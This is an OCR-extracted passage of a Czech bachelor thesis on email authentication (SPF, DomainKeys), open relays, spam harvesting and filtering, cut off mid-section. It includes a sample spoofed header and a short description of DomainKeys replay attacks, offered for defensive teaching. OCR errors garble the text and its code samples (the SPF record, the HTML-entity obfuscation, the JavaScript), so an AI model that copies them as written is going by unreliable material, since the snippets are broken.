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Z.adani:

Seznamte se s problematikou autentizace emaili, spamu, phishingu.
. Naleznéte a diskutujte pravni ramec a hlediska téchto problémd.

. Implementujte nastroj na analyzu dat o phishingu, nebo kombinaci spam databaze

s phishingem.



Licen¢ni smlouva

Licen¢ni smlouva je uloZena v archivu Fakulty informacnich technologii Vysokého uceni technického

v Bmé.



Abstrakt

Tato prace popisuje aktualni problematiky emailové komunikace. Uvadi technické pozadi principa
samotn¢ho vyménovani emaill a z toho vyplyvajici moznosti autentizace. Dale se prace zaméfuje na
nejvEtsi soucasné problémy spojené s emaily, a sice spamy a phishing. V oblasti spamu se tato prace
zabyva predev§im moznostmi filtrovani a detekce téchto nevyzadanych emailti. Phishing je zde
nazorn¢ ukazan pomoci provedeni demonstra¢niho phishingového ttoku, dale je pozornost vénovana
rovné¢z moznostem ochrany proti takovymto utokum. Dalsi nosnou ¢asti prace je popis emailové
problematiky z pravniho pohledu. Je zde predevSim rozebrano posuzovani a postihy spami a
phishingu z pohledu ceské legislativy, Evropské unie a dalSich zemi. Samotny phishing je, jakoZzto
pravnim procesu a precedencnich pripadech, které se staly nejen v zahrani€i, ale i u nas. Posledni
casti prace je popis a implementace jednoduchého emailového filtru vyuzivajiciho databazi serveru

phishtank.com pro analyzu phishingovych emaili.
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phishing, email, spam, model OPT-IN, model OPT-OUT

Abstract

This work describes actual problems regarding to email communication. It shows how emails
technically work and on these bases describes today’s possibilities of email authentication. Next to it,
the paper focuses on the biggest problems connected to emails — spamming and phishing. As far as
spam is concerned, this work is dealing with methods of detection and filtering spam. Phishing is
demonstratively shown on virtual case of phish-attack and attention is paid to anti-phishing tools as
well. Other key-part of this work is low view of email problematic. This part covers judgement and
eventual punishment of spamming and phishing in accordance to Czech, European Union and other
countries’ legislation. The phishing, considered to be the most serious problem concerning to emails,
is demonstrated by the virtual court case which shows how related organs works and what are the
problems about it. Some precedential cases are discussed there as well. The last part of this work
describes the implementation of simple program which uses database in the Phishtank server to

analyse phishing emails.


http://phishtank.com
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Uvod

Emailova komunikace je v dnesni dob¢ jednim z nejrozsifencjSich zpusobi, kterym si lidé vyménuji
informace. Lze fici, ze pro spoustu lidi je tento zpusob komunikace nenahraditelny. Emailova
komunikace je relativné snadna, rychla a nejsou s ni spojeny prakticky zadné primé naklady, pravé
diky t€émto vlastnostem, rozvoji pocitacové gramotnosti a internetu vSeobecné se logicky emaily staly
urcitym standardem nejen v osobni komunikaci, ale i v obchodni sféfe. Bez nadsazky se da fici, ze
kazdy uzivatel internetu ma svij email a aktivng jej vyuziva.

Rust této technologie je tedy zcela logickym disledkem, nicméné pravé diky tomuto aspektu
by se mély dostat do popfedi zcela aktualni otazky bezpecnosti a dalSich problému tohoto druhu
komunikace. Budeme-li postulovat standardniho uZivatele intemetu, pro kter¢ho emailova
komunikace pfedstavuje vyznamny zdroj business/resource potencialu, mohou se z jeho pohledu jevit
v této komunikaci nasledujici problémy:

- stravi zbytecné mnoho ¢asu tfidénim posty, kdy je potfeba rozdélit nevyzadanou postu (spam)
od uzite¢né posty. Z vlastni zkuSenosti vim, Ze pokud se ¢lovek z hlediska svého podnikani potfebuje
pohybovat po anglicky mluvicim internetu a pfijimat anglické emaily rizného typu, muze mu pravé
toto redundantni tfidéni posty zabrat az ¢tvrt hodiny denné.

- ve vetsing pripadu si nemuze byt zcela jist autenti¢nosti emailu (pokud neni email digitalné
podepsan) a muze se tedy stat obéti phishingu ¢i dalSich druht podvodu

Myslim si, ze uvedené problémy jsou velmi aktualni, obzvlast¢ zminéné zcizeni identity
metodou oznaovanou jako phishing, 1ze povazovat jako vrchol emailové kriminality.

Statistickym pohledem tvofi spamy témér polovinu veskeré SMTP komunikace a odhaduje se,
ze emaily v riuznych forech nebo zvefejnéné na strankach, sklidi pres 90% spamerskych skupin
bchem jednoho roku [1]. Tento fakt je pomémé alarmujici, nicméné spamy jsou jiz znamou véci a
metody jejich eliminace jsou pomémeé pokrocilé. Co je vSak v posledni dobé velmi nebezpecnym
trendem, je tzv. phishing. Napfiklad v roce 2004 byly témér 2 miliony obéani USA vystaveny
phishingovému utoku na jejich bézné ucty. Celkové ztraty, které¢ byly takto zpusobeny, dosahly
zhruba 2 miliardy dolart, pficemz prumérna vyse Skody na jednom pripadu byla 1200 dolart [2].

Je zcela prediktibilni, Ze tyto druhy intemetové kriminality budou v nasledujicim casovém
horizontu stale populamé;jsi a je tedy dulezité vénovat jim odpovidajici miru pozornosti. Pravé proto
jsem se rozhodl zabyvat se problematikou emailové komunikace.

V této bakalarské praci bych chtél tedy predstavit problematiku emailti a spamu s tim, Ze se
chci podrobné zaméfit na phishing a implementovat metodu ochrany pfed phishingovymi emaily
pomoci databaze dostupné na serveru www.phistank.com. V neposledni fadé bych chtél tyto

problémy zastiesit pfislunymi pravnimi ramci nejen v CR ale i z pravniho pohledu EU a jinych zemi.

W


http://www.phistank.com

Tato bakalarska prace se tedy sklada ze Ctyf ¢asti. V prvni ¢asti (kapitola 1-2) jsou popsany
zakladni principy emailové komunikace se zaméfenim na moZznosti ovéfeni autenti¢nosti emaili.
Nasledujici ¢ast (kapitola 3 - 4) rozebira problematiku spamu a phishingu. JelikoZ o této problematice
byla jiz napsana spousta odbornych ¢lanku, snazil jsem se na otazku spamu a phishingu nahliZet spise
prakticky. Proto se u spamu vénuji predev§im metodam obrany vcetné zabezpedeni samotnych
webovych stranek proti sbéru emailovych adres. Phishing je v této praci popisovan z pohledu
samotnych phisherti, demonstruji zde tedy ukazku celého prubéhu phishingového utoku i
s autentickymi skripty. Jsou zde rovnéz rozebrany soucasn¢ metody obrany proti takovymto utokum.
Dalsi nosnou ¢asti m¢ bakalarské prace (kapitola 5) je popis pravniho pozadi emailové komunikace a
souvisejicich problémi. Zde jsem se zaméfil jak na ceskou legislativu, tak na pravni normy jinych
stati a souvisejici smémice Evropské unie. Posledni ¢asti je popis vlastni implementace nastroje na

rozpoznavani phishingovych emaili.



1 Z.aklady emailové komunikace

1.1 Historie

Za pocatky komunikace pomoci emaili lze povaZzovat priblizné rok 1965, kdy byla zprava prfenasena
mezi salovymi pocitaci na univerzité MIT pracujicich v rezimu sdileni casu.

Od této doby prosla emailova komunikace znaénym vyvojem. Emaily, tak jak je zname dnes,
jsou definovany standardem specifikace RFC 822 a jsou pfenaseny pomoci protokolu SMTP (Single
Mail Transfer Protocol), ktery byl uveden v roce 1982 specifikaci RFC 821. JelikoZ jsou vSak tyto
normy pomérné zastaralé a neodpovidaji pozadavkum moderiho internetu (pfevazné z hlediska

zabezpeceni), byly tyto standardy revidovany do soucasnych standardu RFC 2822 a RFC 2821.

1.2 Struktura emailu

Kazdy email se sklada ze 2 ¢asti — ztzv. hlavicky (leader) a téla emailu (body), pficemz hlavicka

predchazi t€lu a tyto ¢asti jsou vzajemné oddéleny prazdnym fadkem (tedy znaky <CR><LF>).

1.2.1 Hlavicka emailu

Hlavicka emailu je generovana automaticky pfi vytvoreni emailu a jsou do ni postupné vkladany
informace od serveru, pres které zprava prochazi (tzv. MTA). Pro béZzné uzivatele jsou z hlavicky
adresa pfijemce, proto vétsinou ostatni udaje emailovy klienti (oznadovani téz jako MUA') ani
nezobrazuji.

Emailova hlavicka vSak obsahuje velmi dilezité udaje, kterymi se fidi samotné MTA servery a
pomoci nichz 1ze dopatrat pavod emailu. Tato cast je tedy z naseho pohledu klicova.

Hlavicka smi obsahovat pouze tisknutelné znaky 7-bitového ASCII kodu (33-126), proto se
emaily koduji do sedmi bitii (neuvazujeme-li rozsifeni normy). Kazda informace, kterou hlavicka

obsahuje, zadina na novém fadku a ma syntaxi <Nazev>: <hodnota>, pri¢emz hodnota muize byt

' MUA — Mail User Agent, program, ktery pouziva uzivatel na rozesildni a piijimani emailii (nap. Outlook),
tento program komunikuje s MTA (Mail Transfer Agent), ktery se stard o pienos emaili v prostiedi verejné sité
Internet.



zalomena na vice fadku, kde kazdy takovyto fadek zacCina mezerou nebo tabulatorem. Dvojici
<Nazev>: <hodnota> oznacujeme jako zahlavi.

Pfi vytvareni emailu emailovym klientem jsou vét§inou do hlavicky vloZena tato zahlavi:

* Date — aktualni Cas poditace, ktery vlozil toto zahlavi

* From - adresa odesilatele

* Cc (carbon copy) — specifikuje dalsi adresaty

* Bee (blind karbon copy) — umoziuje rozesilani zpravy mezi vice adresatu, pfiemz je
zpracovan prvnim MTA, kam email dorazi. Ten postupné rozesila emaily adresatim jednotlivé a bez
Bcec. Koneény adresat tedy nevidi dalsi adresaty, pro které byl email urcen.

* Priority — zahlavi priority emailu. Interpretace tohoto zahlavi je v riznych MUA rozdilna

* Reply-To - specifikuje adresu, na kterou je zaslana pripadna odpoveéd’

* Subjekt — predmét zpravy dany uzivatelem

* To — udava adresu prijemce zpravy

* Message-Id — unikatni identifikator, ktery je prfifazen MTA. Zprava, jejiz Message-Id
neodpovida zapisu v doméné svého puvodu, je s vysokou pravdépodobnosti falesna.

Do emailové hlavicky pridavaji zahlavi i prichozi MTA. Jedna se nejcastéji o tato zahlavi:

* Return-Path — toto zahlavi zpravidla zapise cilovy SMTP server. Jedna se o pfepis adresy
z obalky emailu (ta je poskytnuta serveru prikazem MAIL TO). Miize obsahovat prazdnou adresu,
jestlize se jedna o chybové hlaseni ze strany serveru (napfiklad o tom, Ze zpravu nelze dorucit)

* Received — jedna se o zahlavi, které je pfidavano vsemi prichozimi MTA. Ti jej pridavaji
vzdy na zacatek hlavicky pred ostatni zahlavi Received od jinych MTA serveru, kterymi email prosel
drive. Zahlavi received jsou pro ucely ziskani realného ptivodu emailu zcela kli¢ové, jelikoz diky nim

lze usuzovat, kudy pfesn¢ email prochazel.

Emailova hlavicka muzZe obsahovat jest¢ spousty dalSich zahlavi. Jedna se napriklad o celou
rodinu tzv. X-zahlavi, které¢ jsou vyuzivany antivirovymi programy a spam filtry. Tato zahlavi
vétsinou obsahuji vysledky testt atp. Prakticky v kazdém emailu jsou téz tzv. MIME? zahlavi, které
obsahuji podpurn¢ informace pro spravnou interpretaci samotného téla dané zpravy.

Pro nase ucely je vSak nejzajimavcjsi zahlavi Received. Syntaxe zapisu tohoto zahlavi je:

Received: from <doména klienta> by <doména serveru>
with <protokol> id <id zpravy>

for <pfijemce> ; <Casové¢ razitko>

Diky tomuto zahlavi se mizeme dozvédet IP adresu stroje, ze kterého byl email odeslan.

2 MIME - Multipurpose Internet Mail Extension, jedna se o rozsifeni definice dat v téle emailové zpravy, kdy je
mozn¢ puvodni 7 bitova ASCII data interpretovat naptiklad jako 8mi bitova (to umoziiuje zachovani specialnich
jazykovych znaku Ci interpretaci obrazku, videi atd.). Toto rozSiteni je komentovano v RFC 2045 — RFC 2048.



1.2.2 Télo emailu

T¢lo emailu obsahuje samotna data uréena pro adresata. Toto t¢lo ma nékolik omezeni: musi byt
kodovano v 7 bit ASCII kodovani, délka fadku smi byt maximalné 998 znakt a znaky <CR> a <LF>
nesmi byt v textu oddélené, ale pouze jako par, pri¢emz timto oznacuji konec fadku. Interpretace
narodnich znakt a vSeobecn¢ souboru v priloze je realizovana pomoci vySe zminéného rozsiteni

MIME.

1.3  Zivotni cyklus emailu

Zivotni cyklus je znazomén na obrazku 1-1. Emailova komunikace tedy probiha v nékolika krocich.
Nejdrive je dana zprava vytvofena uzivatelem pomoci MUA (napf. programem Outlook), jakmile si
uzivatel preje zpravu odeslat, MUA navaze spojeni se znamym MTA (vétSinou poskytovatel
pfipojeni). Zde pomoci SMTP piikazi oznami MTA, pro koho je uvedeny email uréen a identifikuje
se. MTA server zpravidla do hlavicky zpravy pripise své Recived zahlavi a podiva se do jaké domény
je email urcen. Pokud se pfimo nejedna o jeho vlastni doménu, provede dotaz na MX zaznam DNS
serveru, kterym zjisti IP adresu MTA serveru, kterému danou zpravu odesle. Ten postupuje obdobné,
dokud se zprava nedostane na MTA server, pro néjz je urcena. Na tomto serveru je zprava ulozena do
t¢ doby, nez si ji adresat pomoci protokolu POP3, IMAP nebo pomoci webového rozhrani MTU

vyzvedne respektive vymaze. Cely proces prenosu emailu demonstruje obrazek 2-1.

smtp prenos smtp prenos doruceni agentovy, POP3/IMAP prenos
zpravy daldimu agentovi pod uréenou doménou zpravy
I:> a I:>

MUA MTA INTERNET MTA M

S

MX dns dotaz
odpoved

DNS

Obrazek 1-1 demonstrujici Zivotni cyklus emailu



2 Autentizace emailu

2.1 Relaying

Pienos elektronické posty je vétSinou zprostfedkovan nékolika servery MTA, velké podnikové sité
mohou mit napfiklad vice lokalnich MTA a jeden nadfazeny hlavni server (tzv. Mailgate), muzeme
dale uvazovat prichod emailu pfes kontrolni firewally ¢i servery tfetich stran. Pri pfenosu emailu tedy
muze dochazet ke zpusobu prenosu, ktery nazyvame mail relaying (obcas prekladano jako predavani
posty). Jedna se o proces, kdy postovni server obdrzi zpravu, jejiz odesilatel ani pfijemce nejsou
lokalnimi uzivateli, které¢ by server znal. Znamena to, Ze pfijemce i odesilatel jsou zjiné domény
(mimo lokalni rozsah IP adres), a proto by mé¢l byt server zabezpecen a poznat, jestli je dana zprava z
hlediska k nému relevantni.

Pokud vsak server takto zabezpecen neni, 1ze pomoci n¢j poslat zpravu, u niz neni ovérena
identita uzivatele. Ve zpravé muze byt tedy podvrhnut odesilatel a uvedeny nespravné odesilaci udaje
v hlavicce emailu. Tyto servery se nazyvaji open relay a jsou Casto zneuzivany pravé phishery a
spamery.

Takto muze vypadat hlavicka zfalSovaného emailu, ktery prosel pies open relay server:

Received: from relayserver.com (relayserver.com [194.114.111.12])
by smtp.skola.cz (8.8.5) id 001Cl6 for <sekretariat@skola.cz>;
Thu, Nov 12 2007 22:25:40 +0100 (CET)

From: nobody <nobody@nobody.com>

To: (seznam prijemcu potlacen)

Message—-Id: <dc3148x-121107@relayserver.com>

Subject: YOU HAVE WON!!!

Vsimnéme si, Ze relayserver zcela zahodil hlavicku puvodniho odesilatele, nelze tedy dopatrat
skute¢ného odesilatele. Jedna se o pomysIn€ nejhorsi pfipad — server je oznacovan jako tzv. spam
zombie.

Open relay servery jsou velmi nebezpeéné a proto je v dnesni dobé snaha o jejich eliminaci.
V dobé¢, kdy jest¢ nebyl zaznamenan takovy boom internetové kriminality spojené s rozesilanim
emaili, byly tyto servery bézné vyuzivany, jelikoz existovalo hodné domén bez asociovaného SMTP
serveru. Nyni vSak existuji tzv. black listy, kde jsou tyto open relay servery uvedeny a podle této

databaze lze postu odeslanou pravé t€mito servery filtrovat. Problémem takovychto servera je vSak


http://relayserver.com
http://relayserver.com
http://smtp.skola.cz
mailto:sekretariat@skola.cz
mailto:nobody@nobody.com
mailto:dc3148x-121107@relayserver.com

vétsSinou Spatné zabezpeceni predevs§im malych firemnich SMTP servert, jejichz administratofi ani

netusi, ze je jejich server snadno zneuzitelny.

2.2  Metody ovérovani autenti¢nosti emailii

Jelikoz lze pomérmné jednoduse podvrhnout puvod emailu, je potiecba ovéfovat, jestli je odesilatelem
opravdu ten, za které¢ho se vydava. Tohoto faktu vétsSinou vyuzivaji jak spamefi, tak phishefi, ktefi se
timto napfiklad mohou tvafit, Ze email byl odeslan bankovnim institutem ¢i podobnymi organizacemi.
Je tedy esencialni zajistit znemoznéni takového typu podvrhu.

Pro tuto ¢innost existuje nékolik komerénich a volné dostupnych pfistupii. Mezi placené
produkty lze zminit napf. Sender Score Certified, které je zaloZzeno na DNS whitelistu, pomoci n¢hoz
jsou emaily ovéfovany. Nevyvhodou je, Ze za zapis do tohoto whitelistu se musi platit. V této praci se
vSak chci zaméfit na nekomercni feseni. Za nejznaméjsi technologie autentizace emailt Ize povazovat
SPF (respektive SenderID) a Domain Keys. Tyto metody se vyznacuji minimalnimi zménami na

stran€ uzivatelu.

2.2.1 SPF a SenderID

SPF (Sender Policy Framework) a SenderID jsou 2 velmi podobné metody ovéfovani autenti¢nosti
emaild. SenderID prakticky vychazi ze SPF, jedna se pouze o upravenou verzi s drobnymi
odlis$nostmi, kterou se snazi prosadit spole¢nost Microsoft.

SPF je otevienym standardem (posledni verzi je SPFvl, t¢Z oznacovana jako SPF Classic).
Tato technologie umoziiuje spravei domény publikovat svou postovni politiku, neboli které servery
vramci své domény pouzivaji pro prenos emailové komunikace. SPF vyzaduje pro svou funkei
spolupraci 2 stran: (1) spravee domény musi vystavit tyto informace v tzv. SPF zaznamech v DNS
zoénovém souboru. Jakmile jiny poStovni server prijme email, ktery vypovida, ze jeho puvod je prave
z této domény, (2) server prijimajici tento email se muze dotazat DNS serveru na SPF zaznam tykajici
se dan¢ domény a pomoci n¢j urcit zda je IP adresa odesilatele relevantni. Znamena to tedy, ze pokud
server pfijima email z neznamého serveru, lze s vysokou pravdépodobnosti predpokladat, ze tento
email je falesny.

Uvazujme tento pfiklad, ktery demonstruje, jak SPF (potazmo SenderID) pracuje. Uzivatel
vlastni doménu example.com, nicmén¢ pfilezitostné pouziva svij postovni ucet na www.volny.cz,
jelikoz vSak obdrZel n€kolik upozoméni na zpravy zjeho uctu, ktery nikdy neposlal, rozhodl se

publikovat svij SPF zdznam — ten v tomto pfipad¢ muze vypadat takto:


http://example.com
http://www.volny.cz

examle.com. IN TXT “w=spfl mx a:server.example.com include

volny.cz —all“

Vysvétleni jednotlivych ¢asti SPF zaznamu:
o v=spfl -uvadi verzi SPF, v tomto pfipad¢ se jedna o verzi 1
* mx - prichozi emailové servery dané¢ domény jsou autorizovany také k odesilani posty
z domény example.com
e a:server.example.com — tento server je téz autorizovan
e include:volny.cz — cokoliv, co je v tomto kontextu povazovano za legitimni pro volny.cz je
povazovano za legitimni téZ pro example.com

o -all - vSechny ostatni poStovni servery jsou povazovany za neautorizované

Koncepce SPF je velmi nad¢jna, klicem je fakt, Ze pro jeho funkénost staci pouze zaznam
v DNS a pfijemce miiZze email odmitnout jiz po pfikazu MAIL FROM: v ramci SMTP komunikace,
k tomu mu staéi jen jeden dotaz na DNS server. Na rozdil od technologiec SPF je v SenderID
ovérfovana shoda s PRA (Purported Responsible Address), ¢ili adresu, ktera je v emailu publikovana
v zahlavi (uréeno vybérem) Resent-Sender, Resent-From, From, Sender. Bohuzel vSak samotna
koncepce nesta¢i — je poticba predevSim aby ji podporovaly MTA pfijimajici emailovou

korespondenci.

2.2.2 Domain Keys

Do ur€ité miry lze fici, ze Domain Keys je zkracenym nazvem pro technologii Domain Key Identified
Message. Jedna se o protokol, ktery vychazi z puvodnich Domain Keys navrzenych spole¢nosti
Yahoo a Internet Identified Message (vyvinuto spolecnosti Cisto). Tato technologie je pomémé
roz§ifena a to predevs§im diky podpofe velkych emailovych servera jako je GMail, AOL, Yahoo, atd.
Podle tiskové zpravy Yahoo z roku 2005 pocet piijatych emailu, které tato spolecnost verifikovala
pomoci Domain Keys, pfesahoval 300 miliont za den.

Princip autentizace pomoci Domain Keys spociva v tom, ze je do emailové hlavicky pridano
zahlavi DomainKey-Signature, které obsahuje digitalni podpis kontextu, ktery je v emailu obsaZen.
Pro samotné Sifrovani se pouziva algoritmus RSA, pfiemz Sifrovany vysledek je nasledné preveden
metodou BASEG64. Proto, aby takovyto podpis mohl byt vygenerovan, musi dany postovni server znat
par verejny — soukromy kli¢, platny pro uvazovanou doménu, pri¢emz verejny kli¢ je publikovan jako

zaznam na DNS serveru. Pro kazdou zpravu je tedy pouzit privatni kli¢, kterym je vytvoreno zahlavi
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DomainKey-Signature. Pfichozi server rozeznava autenti¢nost emailu na zakladé DNS dotazu,
kterym ziska vefejny kli¢ pro doménu, ze které email pochazi. Timto pozna, zda byl podpis
vygenerovan na zakladé odpovidajiciho soukromého klice a muze tedy odfiltrovat pripadné
podvrzené emaily. Jednotlivé kroky samotné autentifikace pomoci Domain Keys jsou znazornény na
obrazku 2-1.

Domain Keys je z hlediska boje proti zneuzivani emailii velmi zajimava a ucinna technologie.
Obzvlast¢ pokud budeme uvazovat cilené podvrzeni adresata a nasledny phishing, je tato metoda
prakticky esencialnim zpusobem, jak by se mély banky ¢i jiné potencialné napadnutelné instituce
branit. Jako urcitou nevyhodu muzeme brat fakt, Zze signatura je pro kazdy odeslany email pocitana
zvlast, coz muze byt hardwarové narocné, nicmén¢ tato nevyhoda zdstava v pozadi oproti

skuteénosti, ze Domain Keys Ize za uréitych podminek obejit pomoci tzv. ,.replay attacks™’.

Obrazek 2-1 princip fungovani systému autentifikace emaili pomoci Domain Keys

3 Replay attack je metoda podvrzeni emailu, kterd se snazi vyuzit faktu, ze Domain Keys nekontroluji relevanci
tzv. obdlky emailu. Jedna se o to, Ze utoCnik posle zpravu sam sob¢, Cimz vytvoii platny DomainKeys-Signature
a nasledné tento dopis opctovné odesle, nicméné jiz s pozménénou obalkou, cozZ mu umozni tento email poslat
prakticky kamkoliv.
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3 Spam

3.1  Definice spamu

Spam je vzity nazev ktery nelze definovat jednoznacéné, jelikoz to, co jeden uzivatel mize pozadovat
za spam je pro jin¢ho uzivatele za uréitych okolnosti cenna informace. Nicméné lze povazovat za
spam emailovou zpravu, ktera je nevyzadana a zaroven hromadna. Z hlediska antispamov¢ souvisejici
legislativy platn¢ nejen v ramci EU, ale i napt. v USA je vSak podstatny fakt, Ze spamem je anonymni
email spliiujici podminky nevyzadanosti a hromadnosti. Slovem anonymni je zde mysleno podvrzeni
adresy odesilatele ¢i dal$i maskovani pravého pavodu emailu.

Za klicovou spolecnou vlastnost vétSiny spamul 1ze povazovat fakt, ze jejich cilenym tucéelem je
finan¢ni zisk. Tato skutec¢nost je zcela pochopitelna, uvazime-li vstupni investice do emailové
kampané. Relativni ignorace spamii z pohledu cilovych adresati je zde totiz velmi dobfe vyvazena
dostatecnou masivnosti uvazované emailové kampané. Na internetu lze nalézt spousty firem
nabizejicich tzv. mail listy, které lze pouzit jako zdroj emailovych adres. Podle jejich kvality a cilové
skupiny se pochopitelné odviji jejich cena, nicmén¢ je pomémé alarmujici, ze podle [3] 1ze poridit list
500.000 emaili jiz za 29 dolart.

Z vyse uvedeného je zcela pochopitelné, Ze je stale vétsi obliba pouziti prave takovéto formy
propagace, tedy emailové kampané¢ — spamu. Vyvoj procentualniho zastoupeni spamu na celkové

emailové komunikaci za 4 roky znazormiuje obrazek 3-1 vychazejici ze statistik [4].
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Obrazek 3-1 vyvoj procentudlniho zastoupeni spamu mezi emaily
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3.2  Techniky sbéru emailovych adres

Jak jiz bylo feceno, emailové listy jsou pomémé snadno a levné dostupné na internetu. Existuji pfimo
programy, které¢ maji v sob& tyto listy a navic dokazi hromadnou postu rozesilat hned pres nékolik
SMTP serveri”.

Existuje mnoho metod, pomoci kterych se spamefi dostanou k emailovym adresam. Muze se na
k tomuto ucelu dokonce pouzit slovnik, pomoci n¢hoz se generuji pravdépodobné nazvy emaili a ty
se pak zkousi tzv. ,hrubou silou®. Nebo lze vyuzit pfimo kontaktu v adresaii bézné¢ho postovniho
klienta, zde je pochopitelné potieba, aby uzivateluv pocita¢ dostate¢né ovladl prislusny virus.

Nejucinnéjsi metodou sbéru emailovych adres je vSak pouziti programu pracujiciho tak, ze
prohledava postupné html kod webovych stranek a hleda v nich klicova slova jako mailto ¢i hledaji
znak zavinace. Timto objevi veskeré emailové adresy nachazejici se na danych strankach. Jako zdroj
url adres se zde pouziva katalogovych sluzeb internetovych vyhledavaci. Da se tedy fici, ze
potencialni zdroj emailovych kontaktii je témér nevycerpatelny.

Proti této metod¢ je velmi vhodné webové stranky jiz pfi vyvoji kddu chranit. Jedna se o to, Ze
webdesigner co nejvice upravi emailovou adresu, aby ztizil takovymto programum praci. Tradiéni
ochranou muze byt nahrazeni znaku zavinae za jeho slovni popis (napf. milt(zavinac)volny.cz,
milt[at]volny.cz, atd). Tento popis emailu je vSak velmi nevyhodny pro samotné navstévniky stranek,
jelikoz musi vétSinou ruéné slovni popis zavinace prepsat do jeho znakové podoby.

Myslim si, ze nejpokrocilejsi a uzivatelsky nejvyhodnéj§i metoda, jak zabranit sbéru emailu, je
pomoci pokrocilé modifikace samotného html zapisu. Muze se tedy jednat napiiklad o takovouto

transformaci:
Pavodni email: milt@volny.cz

Zapis vhodny proti sbéru adres:

&#105;<!--<!--n@spam-—-&#109; &#108;<!-—&#64d;;&#64;——&#62;<!--nospam—-
SEH109; &#105;&#108;<!——&#064;;a#04d; ——>eH#116;aH#64;&#118;&#111;<!—-
falsemail@mail.cz——> &#108;&#110;&#121;aH#46;&#99;&#122;

Na tomto piikladu jde dobte vidét, Ze robot hledajici emailovou adresu, by musel byt pomémné

pokrocily, aby bezpecné odstranil v§echny vlozené komentare a vyd¢lal z nich spravny fetézec, ktery

* Jako demonstrujici piiklad l1ze povazovat napt. 123hiddensender (dostupny na www.123hiddensender.com).
Tento program nejen ze umi odesilat emaily tak aby bylo velmi obtiZzné vystopovat odesilatele, ale jeSt€ navic
k nému kupujici obdrzi list 100 000 000 emailovych adres — to vSe jiz od 1798.


http://volny.cz
mailto:milt@volny.cz
http://www.123hiddensender.com

jest¢ musi interpretovat pomoci html kodovaci tabulky. Navic je velmi obtizné pro takovyto robot
vubec urcit, od kterého mista v html kodu ma spustit své parserovaci algoritmy.
Pravdépodobné nejucinnéjsi metodou obrany proti takovymto robotim je vSak pouziti

javascriptu. Ten muze vypadat napriklad takto:

<SCRIPT type=“text/javascript“>
<I--=
Antispam=(‘milt' + ‘@' + ‘volny.cz')
Dokument.write(‘'<a tref=“mailto:‘ + antispam + ‘“ >' +
antispam + ‘</a>"')
//==>
</SCRIPT>
<NOSCRIPT>
Emailovd adresa neml@Ze byt zobrazena, Jjelikoz Vas
prohliZed¢ ma zakazan javascript

</NOSCRIPT>

Nevyhodou této metody je fakt, ze néktefi uZivatelé maji javascript z bezpecnostnich divodua
vypnuty, nicmén¢ kombinaci dvou predchozich metod lze dosahnout velmi dobrého zabezpeceni
emailu proti zneuziti. VSeobecné lze fici, Ze takto komplikované zapsany email by prakticky zadny
robot nesklidil, jelikoz toto zabezpeceni je zatim pomérn¢ malo roz§ifené a vétSina robotil s nim

jednoduse nepocita.

3.3  Moznosti filtrovani spamii

Pro filtrovani spamu se pouZzivaji programy, které jsou spustény bud’ na stran¢ serveru nebo na strané
klienta. VSeobecné lze fici, ze ucinngjsi a efektivnéjsi je antispamova ochrana implementovana na
samotném serveru. Nejenom Ze je diky tomu snizena zatéZ spamu na lokalni siti, ale poStovni server
je takto schopen odmitnout zpravu jiz v ramci relace SMTP (Ize vyuzit specidlni metody jako
napriklad greylisting a SPF). Na druhou stranu je v tomto pripad¢ koncovy uzivatel zcela zavisly na
tom, jak kvalitni zabezpeceni v tomto ohledu jeho ISP poskytuje. Proto je téZz vyhodné branit se i pfi

samotném procesu prijimani elektronické posty (protokolem POP3 nebo IMAP).

14


mailto:A

Jednim z mozZnych pfistupt, jak rozlisit, zdali se jedna o spam ¢i nikoliv, je pomoci urceni
autenticnosti odesilatele. Existuje spousta nastrojii a technologii, které toto provadéji, nejznaméjsi
jsou SPF a Domain Keys (viz kapitola 3.1.1 a 3.1.2). Vyhodou téchto feseni je predevsim fakt, Ze ve
sveé zakladni verzi nejsou zpoplatnéna. Existuje téz nékolik komerénich feseni, ktera jsou zalozena na
tom, Zze majitel emailu si zaplati za svij DNS zaznam, vici kterému je nasledné dany email ovérovan
(napt. feSeni Sender Core Certified[5]). Jiny princip vyuziva napriklad firma Habeas [6], ktera
prodava licence, které umoziuji ovéreni na zaklad¢é vlozeného kusu kodu do hlavicky emailu (tzv.
haiku). Nevyhodou vsech téchto metod je fakt, Ze musi byt podporovany samotnym MTA a uspéSnost

je tedy znacné zavisla na jejich rozsifeni.

3.3.1 Analyza obsahu emailu

Tato metoda patfi mezi jednu z nejstarSich. Vychazi z faktu, ze spousta spamu jsou v podstaté
komeréni sdéleni, které se snazi propagovat urcity produkt. Lze tedy vypozorovat zavislost na
urcitych slovech (napt. viagra) ¢i slovnich spojenich (napf. vyhodna koupg).

Na zaklad¢ analyzy textu t¢la emailu se da tedy urcit rozsah vyskytu takovychto slov a dat
jim odpovidajici rozhodovaci vahu. Jednou z prvnich metod, jak se spamefi snazili obejit tyto filtry
byla modifikace takovychto slov do jiné znakové podoby, ktera je vSak stale dobfe Citelna pro
¢loveka (napf. misto VIAGRA se da pouzit V|@GR@). V posledni dob¢ jsou velmi oblibené filtry,
podporujici regularni vyrazy. Ty jsou schopny Iépe rozliSovat takto zkomolena slova; uvedeny priklad
by se dal wvyfesit napfiklad timto regulamim vyrazem: (v(i|)(a,@)gr(a,@)). Jednim
z nejsofistikovanéjsich pristupu soucasnosti je vSak tzv. Bayesovsky filtr. Ten vychazi z principu, ze
slova i slovni spojeni, ktera se vyskytovala v predchozich znamych spamech se budou vyskytovat i ve
spamech budoucich. Porovnava tedy jednotlivé casti zpravy s databazi spamu a na zakladé mnoZstvi
shod vyhodnocuje pravdépodobnost, Ze dany email je spam. Tato metoda vétSinou ignoruje bézné
pouzivana slova (spojky, castice, atd.), nicmén¢ se zaméfuje na slova pouzivana ve spamech s co
nejvetsi citlivosti. Rozlisuje se zde napfiklad podezielé pouziti interpunkce, velkych pismen ¢i jinych
znaku (naptiklad zapis ,,SLEVA!!!* je mnohem podezielejSi nez zapis ,sleva™, u kter¢ho lze
predpokladat bézné pouziti ve vété). Bayesovsky filtr se nediva jen na samotny vyskyt slov, ale
porovnava i dal§i pfiznaky, které by mohly byt smcrodatné pfi samotném rozhodovani. Jedna se
predevs§im o vyskyt url, kde se da nasledné prozkoumat obsah odkazované stranky, dale pouziti html
znaéek v emailu, pritomnost obrazku a dalSich aspektu. Pokud tyto filtry disponuji dostate¢nou

znalostni bazi, dokazi filtrovat spamy s ucinnosti pies 95% [7].
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3.3.2 Signatury a jejich porovnavani

Filtry zaloZzené¢ na metod¢ porovnavani signatur vyuzivaji kontrolni soucty t¢l email (signatury),
které nasledné porovnavaji s distribuovanou databazi téchto souctl. Tyto filtry vychazeji z filosofie,
